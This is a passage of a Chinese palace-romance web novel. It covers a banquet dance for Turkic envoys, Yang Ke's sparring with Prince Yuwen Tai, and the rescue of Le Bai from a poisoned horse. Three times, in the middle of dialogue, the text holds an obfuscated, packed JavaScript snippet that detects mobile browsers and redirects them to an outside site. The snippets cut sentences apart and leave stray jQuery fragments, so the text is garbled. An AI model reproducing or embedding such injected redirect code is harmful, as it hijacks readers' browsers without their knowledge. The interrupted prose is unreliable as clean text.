宇文泰侧首眯眼:“杨姑娘觉得本王缺几个银子?” “君子爱财,有何不齿?”杨柯见他神色严肃,不愿跟自己继续玩笑,于是也正色起来,问道:“那是为何?” 他视线定住,凝视着她:“此事与你无关。若杨姑娘实在关心朝政,在下斗胆建议一句,您最好的做法就是不要多管闲事。” 忽地吃个瘪,杨柯不忿道:“你就不怕我把你的计划给说出去?” 宇文泰轻轻一笑:“你不会的。” 杨柯好奇道:“为何这么笃定?” 宇文泰嘴角勾起:“杨姑娘擅自出宫之事一旦败露,不仅你杨家三口性命难保,云昌吉还会因协助你出宫,连累云家满门。” 杨柯的怒气直窜脑门:“宇文泰!” 他悠然回过头去:“想来出身商贾之家的杨姑娘,如此简单的算盘一定能打明白。” 26.突厥 自从那晚绑架江植不成,反被宇文泰拿住把柄以后,杨柯对宇文泰的感情愈发复杂起来。经由此事,她算是亲眼指教了大名鼎鼎的羲王到底如何心狠手辣,也很难不承认自己对其有些佩服,但另一面又开始后怕起来。回想最初,自己当真是初生牛犊不怕虎,竟不知天高地厚地与这位阎罗王杠上,结果反被人拿捏住把柄。若是日后稍有不慎得罪了他,即便落得个挫骨扬灰的下场,到了阴曹地府,魂魄说不定还在稀里糊涂地为他卖命。同样是人,差距为何如此巨大?就凭自己这空空脑袋和三脚猫功夫,往后要如何面对这位活阎罗呢?想到此,杨柯不禁摇头轻叹。 “阿柯,你看到什么了,为何叹气?”今日是皇宫亲眷前往塞外的日子,乐白与杨柯同坐一轿,杨柯的脑袋像粘在了车窗上似的,一动不动地趴着。 杨柯摇了摇头,“小白,我的烦恼,你不会懂的。” 乐白的确不明白她到底在思索些什么,这几日都见不到她人影,更不知道杨柯到底在倒腾什么。只不过乐白在乎的是,现下没人陪她谈天,自己十分无聊,于是凑近轻声道:“那你趴了这么久,就不累啊?” 杨柯的脑袋终于离开了车窗,转首对她郑重其事道:“乐白,我与你不同。今日是我平生第一次见到皇家仪仗队,可得让我好好瞧瞧。”说完又趴了回去。 乐白无奈道:“好好好,我不烦你了。”说完,她掀起车帘,外面旌旗猎猎,战鼓声声。皇帝端坐于御驾之上,两侧倚仗队手举旌旗,羽林儿郎紧随其后,浩浩荡荡从神武殿门前进发,足足拖了有百米之长。似乎是见多了这样的场面,乐白倒是显得波澜不惊。不过杨柯实际想要搜寻的,只有伯喻的身影。不知道他今日穿的什么战甲,会有多么潇洒。可是皇子的坐骑紧跟着皇上,与她们的距离并不近,中间又隔着众位朝中将领,更是挡得严严实实。 乐白又倾着身子过来,凑到杨柯耳边说道:“阿柯,看战马是幌子,看伯喻才是真的吧。” 杨柯脸上蓦地一红,忙撇清道:“你说什么呢!” 乐白道:“我说错了么?” 杨柯无奈,只好承认:“说得倒也没错,不过你是如何发现的?” 乐白嬉笑道:“你天天在我身边,十句话里总要带一句伯喻,谁看不出来你对他的心思?” 杨柯咕哝道:“竟然如此明显?” 乐白逗她道:“对呀,就差跑到翠微殿前大声宣告了。” 杨柯想到伯喻和影刃阁的事情,不免开始担心起来,眼帘耷拉下去,又趴回到车窗上去了。 乐白看得疑惑:“诶,怎么又不说话了?” 颠颠簸簸过了一日,终于到了塞外,天色却已经全黑。酉时,北方的突厥部落也依约赶至营地。因突厥在北方势力庞大,其态度对边境安稳影响深远,故而皇帝极为重视此次会面,特意举办晚宴,迎接察尔格王爷。 皇帝端坐在主位之上,头戴九龙冠,察尔格王爷则坐在皇帝的左首,随他一同前来的突厥贵族列座其后。 察尔格起身行至中央,撩起突厥袍下摆躬身施礼:“吾皇万岁!陛下赐千匹丝绸,此等厚意,突厥感怀至深!为表谢意,今特率族中歌舞团,前来为陛下与诸位大人助兴。愿陛下与诸君今日尽欢,一醉方休!” 皇帝抬手道:“好!这番心意,朕心领了。这些丝绸,若贵部用得称意,朕即刻传旨户部,再为突厥筹备一批。” 伯喻起身拱手:“父皇说得是。若突厥诸位有需,儿臣即命户部精选上等蚕丝,定让每匹皆显我朝工艺之妙,不负父皇所托,亦不辜负突厥喜爱。” 杨柯早望见伯喻的身影,见他起身,视线也跟了过去。他的身段儿着实好看,施起礼来也赏心悦目。 皇帝满意道:“嗯,今年内库充裕,你们户部的提库司功不可没。” 伯喻道:“多谢父皇,提库司司长张意初张大人办事干练负责,平日里对库藏账目、物资出入盯得极紧。内库能有如今这番局面,他出力最多。” 一旁的宇文泰补充道:“张大人是今年的新科探花,他能进入户部,多亏了田咏举荐。” 皇帝道:“哦?看来田咏干的不错嘛。朕听易先生夸赞过这个张意初,下回带到勤政殿,朕要见见他。” 听到田咏之名,杨柯想起紫英阁那晚宇文泰威逼利诱的场景,一个没留神,一口水猛地呛进喉咙,顿时剧烈咳嗽起来,“吭吭” 的声响扰得四周之人纷纷侧目。 杨柯满脸歉意,匆忙间抬眼,恰好撞上对面宇文泰投来的警示目光,杨柯心里一紧,对其扯起一个微笑,对方视线悠悠一转,恍若无事。 宴会中央,突厥来的舞者们身姿婀娜,舞步灵动。一曲歌舞终了,丝竹管弦之音暂时停息。皇帝赞赏道:“察尔格,突厥的歌舞向来声名远扬,朕早年便听闻突厥舞姬舞步轻盈,今日亲眼得见,果然不同凡响。” 察尔格朗声大笑:“陛下过誉了。能够得到您的认可,是我们莫大的荣幸。”话锋一转,又说道,“我听说,大夏的公主们个个才艺出众,不知今日是否有幸能够欣赏到她们的表演?” 此言一出,宴会厅内的气氛立刻变得微妙起来。这次出塞,邀请了突厥王族参加,一是为联合军力、共击柔然,二则是能联成姻亲。无论是口头约束还是一纸契约,都没有两族血液相融来得有效。察尔格此议明为进献乐舞,实际暗藏和亲之意,因此大夏所选姝丽,难脱联姻之嫌。 宇文拓起身作揖:“父皇,儿臣听闻今年的女使个个才华出众,其中杨柯尤擅舞蹈,何不让她来献舞一曲?” 此言一出,席间寂静一片。杨柯头皮发硬,连她自己都不知道这事,心里连骂宇文拓混账。 皇帝眼眸一亮,目光落到了她身上:“朕早就从凝儿那听闻你伶牙俐齿,没想到你在舞蹈上还有所造诣,杨柯,你来代表我们大夏跳一支舞,如何?” 还没等杨柯回应,伯喻已经起身:“父皇,杨姑娘虽才貌双全,然属外臣之女,并非宗室亲族,不妨再择更适合的人选?” 皇帝听言微微挑眉,座下的宇文拓开口道:“七弟平素说话做事最是周全,今儿个怎的这般毛毛躁躁?当着突厥贵客的面,就要驳了父皇的面子?” 皇帝挥手说道:“无妨,喻儿,杨柯是我朝臣,也是我大夏儿女,代表大夏有何不妥?” 杨柯不愿伯喻为难,抢先道:“陛下,臣愿意献舞。” 一旁正往嘴里灌酒的乐白差点儿被呛住,赶紧低声提醒道:“阿柯,这可不是闹着玩的。”杨柯对她微微一笑,转首又朗声道:“不过臣听闻章姑娘尤善击鼓,想请陛下应允章姑娘协助 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351729|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臣一同表演。” 皇上拿眼梢扫了章家丫头一下,章可馨立马会意,脆生生答道:“可馨愿配合杨柯表演。” 皇帝点头赞道:“好!不愧是我大夏的女儿!” 杨柯看向伯喻投来的焦灼目光,冲他点点头,随即道:“陛下,今蒙疆贵宾在座,乐舞乃邦交之仪,容不得半点轻慢。臣斗胆向陛下索要一个物件,以成大礼。” 皇帝点头道:“嗯,你要什么?” “一把金错刀。”话音刚落,满座响起哗然与议论之声。 宇文拓嬉笑道:“乐姬跳舞用的皆是水袖,杨柯,你莫不是要在贵宾面前吞刀吧?” 皇帝荡了他一眼,对着杨柯倾身向前:“跳舞要刀做甚?” 杨柯不急不惧:“回禀陛下,臣所求非战阵之刀,乃铸金为错、嵌玉为饰的礼器。昔日江云尧将军西征时馈赠柔然王折柳刀,以金错工艺铸‘胡越一家’四字,正合今日邦交之仪。" 皇帝听言满意颔首:“好,朕就依了你的心意。” 内监端来了半尺长的鎏金匕首,刀身九道赤绳缠着孔雀翎羽,在烛火下折射出青碧流光,杨柯接过金错刀,悬系在腰间,章可馨也起身来到战鼓面前。 “你要跳什么?” “《拓枝乐》。”章可馨点头,接着在鼓前坐好,二人头一回如此默契。 杨柯转身面向中央的皇帝,欠身行了一个礼。 “咚!擦!”鼓槌砸出第一声炸响,杨柯左脚尖碾着地毯旋出半圈,右手反握金错刀贴住后腰,左手倏然高举过头顶,腕间银铃发出密匝匝的脆响,漂浮在鼓点尾梢的嗡鸣中。 “咚!咚!咚!”三声重鼓追着铃音砸下,杨柯应声劈叉下腰,火红裙裾“唰”地燃了一地。“起!”槌尾扫过鼓钉,锵啷啷一串金属颤音炸开,杨柯发力跃起,整个人化作张满的银弓,接着手臂一展,右手的金错刀劈开三重裙摆,左臂却柔若春藤,碾着裙带甩出重重涟漪。 “咚!”一声闷响后,杨柯双手攥住飞扬的裙带猛然一抛——“唰!”石榴红绡如赤蛇凌空急窜,缠住帐顶的楠木横梁,杨柯借势腾空倒翻,双腿绞住绸带疾转三圈,裙摆遇风舒展,化作十四片烈焰花瓣。随着鼓点渐渐放慢,她也收势落地,火红裙摆柔若无骨地旋开,唯有铃声清脆作响,化作细碎流光。 “咚咚咚咚!”鼓声骤然急转,杨柯一跃而起,踩上鼓阵,她忽而踏着龟兹跺步震响左鼓,忽而以汉家云步轻抚右鼓。章可馨趁机猛敲两面立鼓追上她的足印,只见鼓上人双臂交叠如孔雀开屏,火红裙裾倒卷如浪,露出雪白脚踝。 “接着!”杨柯突然将金错刀抛向鼓阵,章可馨朗然一笑,手中鼓槌凌空击打刀背,寒光折返时正巧削断还未落地的绸带。她手下的鼓槌故意敲了个反拍,杨柯踉跄半步,顺势将刀柄插入鼓架,回身一旋,翩然落地。 “哐!”最后一声鼓槌轻叩鼓缘,火红裙裾犹如倦鸟归林,帐内唯有铃铛的余音将散未散。满帐烛火突然晃出重影,梁上烛灯的蜡油坠下,正巧滴在了角落里掀帘张望的侍卫身上,那人却浑然不觉,仍保持着探身向前的滑稽姿势。 “赏!”皇帝起身喝彩,众人也纷纷回过神来,拍手叫好。 皇帝走下台阶,来到垂首而立的杨柯面前,柔声道:“抬起头来。” 27.凌乱 杨柯抬首回视,皇帝的目光正紧紧锁在她的脸上,除了欣赏,她还嗅到一丝占有的欲望。杨柯立刻垂下眸子,欠身行礼:“多谢皇上,臣为各位献丑了。” “你的舞姿,让朕想起纪启明从前作的一首诗,惊鸿照影火浣绡……”皇帝说着拧起眉头,“下一句是……伯喻,后一句是什么?” 伯喻答道:“一舞烧尽九重霄。” “对,就是这句!”皇帝笑着回味,“惊鸿照影火浣绡,一舞烧尽九重霄。”他说着又靠近了一分,视线胶在杨柯的脸庞,声音也轻柔了下来,“柯儿,你今晚跳的这支舞,让朕有了当年征战沙场的快意。” 察尔格眸中精光一闪,顺势起身:“北方有佳人,遗世而独立。皇上,这位美人的舞不仅有大夏的云鬓步摇之雅,兼得突厥胡旋回雪之豪,陛下洪福齐天,得此兼具南北之秀的奇女子。” 皇上对察尔格的恭维十分受用,昂首大笑道:“察尔格,你说,朕该如何赏赐她?” 察尔格未来得及张嘴回答,伯喻已经抢先开口:“父皇,若论功行赏,可馨的鼓奏同样精彩,儿臣窃以为鼓点和舞姿正如琴瑟和鸣,缺一不可。” 皇帝的眼角微微动了动,视线转向一旁的章可馨:“嗯,可馨如今击起鼓来是越发纯熟了,你再练几年,尚音局的那帮人都得叫你师父。” 章二姑娘笑道:“可馨不敢当。若是姑父闲时想听听鼓乐,可馨便携鼓候在勤政殿前,等姑父累了,就进去给您奏乐醒神。” 皇帝仰头大笑:“你这丫头,若朕把你扣在勤政殿,你姑姑就要怪朕耽误你读书了!” 章可馨娇声道:“姑姑通情达理,哪里会责怪姑父。再说了,可馨才不会因为击鼓而耽误了功课。” 皇帝抚了抚她的头:“那就好!”话音结束,帐内又开始沉默起来。他的视线重又转回杨柯身上。杨柯心底一颤,头垂得更低了。 众人的目光皆流转在他二人之间,空气中满是不言自明的暧昧与危险。 宇文拓斜倚在案上,手上的狼首金樽送到嘴边,眼睛却不怀好意地笑睨着中央二人,他身旁端坐着的宇文泰缓缓启言:“父皇,您不觉得,杨柯的舞有些瑾妃娘娘当年的影子吗?” 听了宇文泰的话,皇上原本亮着的眸子暗了下去,视线也转到别处:“你倒是提醒朕了,瑾妃在她这个年纪,也给朕跳了一首胡旋舞。” 杨柯赶忙跪首:“臣怎么配和瑾妃娘娘相提并论,今日之舞若是与娘娘的舞姿相比,实在是班门弄斧。” 伯喻温言道:“父皇,二哥所言,正是儿臣想说的。杨姑娘舞姿翩跹,与额娘旧年舞《绿腰》时一般无二。” 皇帝转身回到座位,深叹道:“你额娘的舞在当年举世无双,过去这么多年,朕再也没见过了。” 宇文泰微笑道:“美人跳美舞,不仅舞技出众,更难得的是那份神韵与瑾妃娘娘年轻时颇为相似,儿臣斗胆建议,父皇不妨为杨柯封个官职,以示嘉奖,同时也让天下人知晓父皇对才艺的赏识。” 皇上眼中闪过一丝落寞之色:“你说的有理,既如此,柯儿,朕便封你为尚舞局奉銮司舞,如何?” 杨柯心里的大石头总算放下。这奉銮司舞虽是个虚衔,但她恐惧之事并未发生。于是连忙跪地叩谢:“谢陛下隆恩!” 皇帝视线在她身上停留了一瞬,恋恋不舍地转向杨柯身旁的章可馨,一面落座,一面缓缓开口道:“可馨,你想要什么官职?” 章二俯首道:“姑父厚爱,可馨心领。尚音局每日卯时便有教坊司轮值,若得空闲,可馨往尚音局切磋即可,何须姑父再设官职?” “今晚你和柯儿代表朕的大夏献上演出,朕赐了柯儿司舞一职,怎能少了你的奖励?” 章可馨娇声道:“姑父又来哄我!既然如此,那就恳请姑父赐可馨沉香木鼓,要用青州石末为腔,精铜为环。” 皇帝朗然笑道:“好,你要什么,朕就给你什么!” 章可馨笑脸盈盈道:“多谢姑父!”话毕,二人退了下去。 宴席到了中段,杨柯趁人不注意溜出了帐营,心中仍有余悸,索性便往寂静处走去,青桃迎了上来:“姑娘怎的出来了?” 杨柯指着远处道:“我想去那边走走,你在附近等着我便可。”青桃点头答应。 看着黑得漫无边际的天空,杨柯又想起了方才发生的一切,像是千里之外的城墙和宫门直直倾倒过来,压的人喘不过气。要不是额娘教过她一些舞技,加之从小跟着杨涛四处遨游,耳濡目染了些民间舞姿,今日这劫还不知道该如何应对。可谁成想,躲过一劫又来一劫。她无奈摇头,转念又一想,幸好三年后还能重获自由。念及此,心中的阴霾顿时消散了不少。 突然,不远处传来咯吱一声轻响,杨柯瞬间警觉,厉声喝道:“来者何人!”此地距营帐已有不小的距离,听那声音应是有人脚掌不慎踩到树枝,致使其折断。杨柯心中一紧,若是贸然闯出歹徒,那她今晚的处境,怕是远比被皇帝册封更为凄惨。 “进宫不过半载,便受封从三品官职,司舞怎么一个人跑到深林里庆祝?”竟然是宇文泰,他从黑暗中负手走出,面容在月光下显得轮廓分明。 杨柯松了半口气,恭敬施礼,但嘴上却夹枪带棒:“今晚突厥贵宾来访,殿下贵为皇嗣,不在宴席上呆着,跑到这来做什么?” 宇文泰一派轻松:“酒喝多了,不能出来透透气么?” 杨柯想起上次紫英阁一事,耸然而惕:“你……你不会反悔了……想要灭口吧?”说着便唰地从地上拾起一截木棍,双手交握在身前。 宇文泰见她一通动作慌里慌张,甚是滑稽,哈哈大笑道:“若要杀你,还需我亲自动手?更何况那日在紫英阁,我随时都可要你的性命。” 杨柯迟疑半晌,仍是不信:“那……你想做什么?” 宇文泰无语道:“我已经说过了。” “谁会相信?”杨柯攥着木棍,略略退后,“你这种人,向来不安好心。” 宇文泰讥讽道:“不安好心?那你以为,方才我是为了阻止你爬上龙床才插手的?” 她反问道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15360396|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难道殿下不是这样想的?” 他冷哼一声:“真是个沽名钓誉之人,老七怎会看上了你?”这一番鸡同鸭讲,二人之间又剑拔弩张起来。 杨柯恨恨道:“殿下在泼人脏水这方面也毫不逊色!” 宇文泰回呛道:“是么?分明是气我坏了你的好事吧。” 杨柯忽然一怔,这才明白他的意思,愤然道:“谁稀罕进宫当什么皇妃,你们的皇宫和监牢有什么差别!我恨不得现在就出去!” 宇文泰反倒笑出了声:“哦?看来我没帮倒忙了?” 她转念一想,自己真是误会他了,于是试探道:“你真是为了帮我?” 宇文泰斜了她一眼,转身离开:“年纪轻轻,许配给谁不好。”说完便拂袖而去。 杨柯反问道:“你什么意思?” 他不咸不淡的声音从前方传来:“没什么意思。” “哎,宇文泰!”杨柯冲他大喊,可对方并不理会她,只是自顾自往前走着。 方才惊慌的余波未消,杨柯不敢独自呆在这里,也赶紧跟了上去。直到走近帐营,她才赶上宇文泰。 杨柯喘着气道:“你怎地走这么快?” 他侧首一瞥,平静道:“是你走得太慢。” 杨柯更没好气了:“全天下就你腿最长!” 宇文泰闻言,蓦地定住脚步,缓缓朝着杨柯倾身靠近,在三寸之处停了下来,那双黑曜石般的眸子泛着幽冷光泽,温热的鼻息呼在她的脸颊上,带来一阵酥麻的异样。 杨柯愣在原地,只听他一字一句地道:“是啊,我怎敢跟杨姑娘相比,命好之人,即便脚步拖沓,还有他人在身后周全。但我没有,只好走得快些。” 他话中之意无非讥讽方才席间伯喻多次的出言相救,杨柯又气又羞:“有人关心我与你何干!” 宇文泰嘴角扯起一抹冷淡的弧度,不咸不淡地回道:“确实与我无关。所以,你要是走得慢,我可没那闲工夫等你。”说完,便施施然地离去。 青桃正站在营帐前等候着,见杨柯风风火火地冲过来,脸上像是踩了马粪一样难看,忙关心道:“姑娘,你去了一趟林子里,怎么气成这样?” 杨柯回道:“碰上野猪了,还被猪拱了!” 青桃面色骤变:“哪来的野猪?难道羲王殿下没在吗?” 杨柯被她认真的样子逗笑:“别急别急,野猪都是我胡诌的。” 青桃拍了拍胸口,长舒一口气:“哎呀,可吓死我了。”转瞬脸上又绽出一抹甜笑,“即便有野猪,有殿下在就不怕了。” 杨柯惊诧道:“你……你在胡说八道些什么呢?” 青桃道:“方才在席上,幸好殿下出言相助,不然现在姑娘就要成娘娘了。还有啊,上回姑娘跑出宫不也是殿下带着回来的?有殿下在,岂不安心?” 杨柯更摸不着头脑了:“他?他这人最是捉摸不定,这会子和声细语,下一刻便暴风骤雨,你竟对他放心?” 青桃挠挠头:“是吗?可我觉得,殿下跟姑娘说的刚好相反啊?” 28.落马 太阳慢慢从天界线升起,照亮了沉睡一夜的草原。放眼望去,远处针叶峥嵘,悬崖陡直高峻,雄鹰昂首呼啸,山谷云雾缭绕。 大夏立国虽不过三代,但尚武的传统却从太祖武皇帝起便传承至今,如今大夏年轻一代的血液中依旧奔涌着战场上厮杀的野性。今晨一早,众皇子们便按耐不住性子,率先带着伴读侍从们闯入林场。 杨柯轻握住缰绳,座下黑马步伐稳健,马蹄踏在松软的泥土上,有节奏地“嗒嗒”作响。她抬首望去,天空湛蓝如洗,几朵白云悠然漂浮,仿佛触手可及。身旁的乐白鬓边银簪随着颠簸轻轻摇晃,身下的枣红马与杨柯的黑马并辔而驰。 她忽然伸手指着不远处的树后:“小白你瞧,前面是头小鹿!” 乐白闻言,抻着脖子往前探去,忽听身后传来一阵急促的马蹄声,“那可不是寻常的鹿,那是天鹿!”章可馨骑着马风驰电掣地插了进来,她今日的打扮与往常截然不同,一身利落骑服将她衬得英姿飒爽,头上身上的珠摇玉坠也被摘去,高束的马尾辫甩在铁护颈外,显得十足英气矫健,“此乃祥瑞之兽,它头顶那根独角便是标志。自古以来,只有皇家林场才有资格豢养。寻常人莫说见上一面,便是听都未必听过。” “竟是天鹿!”乐白杏眼圆睁,惊呼道,“我来了林场这么多回,还是头一遭见着。” “看来今日咱们运气着实不错,刚进林场就撞上这稀罕物。”杨柯顿了顿,眼波流转,调侃道,“说起来,多亏了章姑娘专程跑来答疑解惑。” “哼,谁要管你?”章可馨扬起下巴,眉间尽是骄矜,“若不是二哥被姑父扣在帐中陪突厥人周旋,我早去跟他一道了,还轮得着你?” 杨柯想到伯喻,喃喃道:“原来如此,宇文泰竟然也被留下了。” 章可馨神秘一笑:“看来你对某人的行踪甚是上心呐。”她旋即转向乐白,“小白,你可得看紧了,别等哪天一不留神,她跑去给别人当伴读,把你忘得一干二净咯。” 乐白与她交换了个心照不宣的眼神,杨柯双颊一热,没好气道:“只许州官放火,不许百姓点灯!你整日追着宇文泰跑,我提一句伯喻,倒成了错?” 章可馨眨了眨眼:“伯喻?我何时提过这个名字了?”话音未落,她狠狠一夹马腹,身下玉狮子登时向前窜去,扬起的沙尘里还飘着她的笑声。 “这回别怪我没提醒你了吧。”乐白忍俊不禁,伸手点了点杨柯发烫的脸颊,“谁让你不打自招,这不正中了她的下怀?” “好啊,现在连你也跟她一个鼻孔出气了!”杨柯作势要扑过去,乐白笑闹着调转马头,杨柯忽觉身下气息异动,低头一看,乐白身下的枣红马瞳孔赤红,口涎沾湿了银丝辔头,这分明是中毒的迹象! “乐白快勒马!它中……”警告声未落,枣红马突然厉声嘶鸣,腾空直立,乐白猛地向后一栽,那马发了疯一般狂奔乱甩,将乐白抛向半空又重重砸回鞍桥。 杨柯身下的马也被惊得仰头嘶鸣,她猛地扣住缰绳急转,稳住马匹的同时探手去抓乐白的披风,可指尖刚触到衣角,惊马突然急刹,乐白整个人向前飞扑而去,杨柯手上攥住的布料“刺啦”一声撕裂。 “阿柯救我!”乐白惊惧大叫,这声响反而让马更加受了刺激,朝着断崖狂奔而去,乐白紧紧攥着缰绳,可到底撑不住,身子几乎要栽下马背。 忽然,一道银色锁链闯进视线,精准地缠住了疯马的前蹄,“抓紧鬃毛!”章可馨从侧方驱马赶来,厉声呵斥道:“畜生!再敢撒野,本小姐扒了你的皮做战鼓!” 枣红马的前蹄动弹不得,又开始疯狂甩动脖颈,“啊——”乐白缰绳的指尖已被磨出血痕,整个人像断了线的纸鸢般被狠狠甩出,似要朝着地面直直坠落下去。杨柯见势双脚一蹬,飞扑过去,企图拽住乐白飞扬的裙裾,将她从疯马上带离,电光火石间,一道长刀从侧方破空劈来。 “闪开!”宇文拓策马横插进失控的枣红马前方,刀锋劈入马腹三寸,那马登时铁蹄腾空,一脚踹上对面宇文拓的坐骑,人马被掀翻在地,宇文拓身上的玄铁护甲刮蹭地面迸出火星,他额角青筋暴起,撑着手肘一跃而起,拔出长刀扬手再往下砍去:“给老子断!” 同时,云昌吉策马疾驰而来,“接住!”他抛出玄铁丝网,堪堪兜住快要坠地的杨柯与乐白。片刻前,宇文拓挥刀刺向马腹,乐白被疯马抛起,幸好杨柯飞扑而出,成功将她接住。为躲避乱踏的马蹄,杨柯借势一蹬马腹,带着乐白凌空跃起,刚好赶上云昌吉抛来的丝网,二人才得以稳稳落地。 “乐白,你现在如何?”杨柯说完,便感到脚踝一阵钻心剧痛——方才她接住乐白时,为避开疯马乱蹬的铁蹄,情急之下踹向马腹,反被剧烈挣扎的马蹄踢中。但是为了救人,她也管不了那么多了。 乐白颤抖地抬起手,原本一双纤纤素手已是血肉模糊,皮肉翻卷处还嵌着细碎沙石,肿胀的腕间更是大块的青紫淤青,“手腕好疼……” “别怕。”杨柯将乐白的手臂搭在自己肩头,强撑着扶她站起身,碎石硌得膝盖生疼,“咱们找大夫给你医治。”话音未落,一声闷响惊破死寂,她猛地转头,只见那匹发疯的枣红马轰然倒地,马腹间还插着一柄长刀。 “禁军都是死人?让这等腌臢东西混进来!”宇文拓突然暴喝一声,脚下踹翻了一名跪地的侍卫,“这匹马可是父皇的御马,你们都是干什么吃的!” 云昌吉拦在那侍卫跟前,单膝重重跪地:“殿下息怒!卑职治军不严,这就调集所有驯马师彻查!” “大哥十年未碰马鞍,今日倒让我们开了眼。”章可馨翻身下马,一声娇笑平息了此时的紧张氛围,视线又转向昌吉,“云少统领,你手下出了岔子,这笔账可要算到我二哥头上的。” 昌吉的头垂得更低了:“羲王殿下命臣负责马场,如今郡主受伤,便是将我砍成碎片,也难以抵消乐白受的伤!” 宇文拓冷哼一声:“话说得好听,现在出了事,你要怎么办?” “此事不怪昌吉。”乐白虚弱的声音打破僵局,“有人故意给马下毒,在马料里做了手脚。敌人在暗处,我们在明处。禁军便是布下天罗地网,也挡不住这般阴毒算计。” 昌吉闻声回头,望向乐白的一双眼里满是自责和关心,三步并作两步冲上前,“乐白!你受伤了没有?可有吓到啊?”声音沙哑得像是被砂纸磨过,视线落到她双手上时,如遭雷击,“你的手……都怪我!怪我没有护好你……” 众人这时才仔细瞧见乐白手上的伤,皆是倒吸一口冷气。宇文拓与章可馨二人本因乐白伤势严重,加之御马遭人毒害,欲将怒火迁于禁军身上。可再望向乐白身旁的云昌吉时,又见他神情慌乱、痛悔真切,不似作伪,便也不再多加责怪。 “诸位可曾听闻过紫茎草?”一旁安静的杨柯突然开口,众人齐刷刷望向她。 宇文拓眉头微蹙:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378629|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你问这个做什么?” 杨柯道:“方才抱住乐白时,我在疯马身上闻到一阵苦杏子味,这种味道并不常见,是西域迷心草独有的气息,大夏人更习惯叫它紫茎草。”她目光扫过众人惊疑的神色,语气沉了几分,“想来有人故意用这等毒物,致使马匹发狂。” 云昌吉闻言,眼底泛起血丝,额角青筋突突跳动,“我这就去查!便是掘地三尺,也要把下毒之人揪出来!” 杨柯一把按住他:“慌什么,”她瞥向一旁脸色苍白的乐白,低声道,“你现在的任务是把乐白照顾好。”说完,她转向宇文拓,“若论人脉手段,比起昌吉,殿下才是行家。” 宇文拓微怒道:“你什么意思?难道本王会下毒害人?” 章可馨劝道:“大哥不妨先听杨柯把话说完。” 宇文拓平了平神色,目示其继续。 杨柯又道:“紫茎草这等西域毒物,能躲过层层盘查流入宫中……”她尾音微顿,意味深长地看向宇文拓腰间的螭纹玉佩,“在场的所有人,除了殿下,谁还能彻查清楚?”其实早在她嗅到苦杏子味的那一刻便想到了可疑之人。三日前,她替乐白整理书箱时,曾在吏部赠来的《西域风物志》夹页里闻到过类似的气息。仅凭这缕气味,并不能将罪责归于吏部,因而这念头刚冒出来便被她按捺下去。直到章可馨那句“这笔账可要算到我二哥头上”,她才勾连起吏部与毒马之事——宇文泰暗中调查漕运舞弊、威胁左侍郎田咏,吏部何尝不会反咬一口?后来她看宇文拓的反应也不像是揣着明白装糊涂,既然他和宇文泰感情甚笃,又是吏部宫家的人,若真想彻查,岂不比旁人便利百倍?不如就此顺水推舟,主动抛出这个线索,卖宇文泰一个人情,也省得他再威胁自己。这一步棋,就看宇文拓愿不愿意接了。 宇文拓垂眸摩挲着玄铁护甲,忽然低笑出声:“我说杨大人,你跟老七走得近了,倒是把他那套油嘴滑舌学得八九不离十。” 杨柯听他的话,心里一咯噔,怎地自己露出了马脚,让他看出来了?她正要开口辩解,却听宇文拓继续道:“你说的倒也没错,宫里能彻查内务府的,除了父皇,便只有我和阿泰、老七三人。”说着猛地甩了甩衣袖,“偏偏他们俩被父皇留下陪客,今日又叫我碰上这等霉事,罢了,我也不想阿泰被父皇责怪,看在他的面子上,本王就应了你的请求。” 杨柯松了口气,顺杆儿往上爬道:“多谢殿下仗义相助。今日若没您在,还不知要闹到何等局面。”她视线一转,望向乐白,声音染上几分真切的忧色,“郡主伤势不宜拖延,还请殿下准我们先行回营请医。” 宇文拓漫不经心地转着腰间玉佩,余光瞥见云昌吉小心翼翼将乐白横抱上马的模样,忽然冷笑道:“杨大人倒挺会使唤人呐。” 杨柯恭敬拱手道:“微臣可没那个胆子!我身为郡主的伴读,昌吉的好友,如今他二人受难,我本就应倾力相助,故而方才会有求于殿下。” “你放心,三日后,本王自会将结果告知阿泰。”宇文拓冷凝着杨柯,语调渐冷,“你若是敢耍什么花样,杨大人应该知道后果。” “多谢殿下。”杨柯垂首行礼,而后三人驾马离去。发生了此事,章可馨也急着驱马去找宇文泰,唯有宇文拓立于原地。侍卫见他迟迟不上马,便提着马绳往他的方向靠近,宇文拓仿佛被火烫了一般弹跳着后退,玄铁护腕重重砸在侍卫肩甲上,“再让我碰这畜生玩意,下次小心你的狗头!” 29.定情 